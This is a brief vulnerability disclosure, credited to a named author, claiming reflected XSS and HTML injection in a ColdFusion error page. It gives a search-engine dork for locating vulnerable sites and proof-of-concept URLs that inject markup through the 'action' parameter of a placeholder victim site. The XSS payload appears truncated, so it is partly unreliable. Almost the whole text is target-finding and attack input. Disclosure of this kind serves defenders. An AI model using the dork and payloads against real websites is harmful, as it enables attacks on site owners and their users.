inurl:"index.cfm?action=" intext:"Exception in onError"
I have found a vulnerability in error page of coldfusion,
Name of author: Marcos Almeida
PoC
XSS
https://victimwebsite.com/?action=./ERROR?">&fw1pk=3
HTMLI
https://victimwebsite.com/?action=./ERROR?">ERROR&fw1pk=3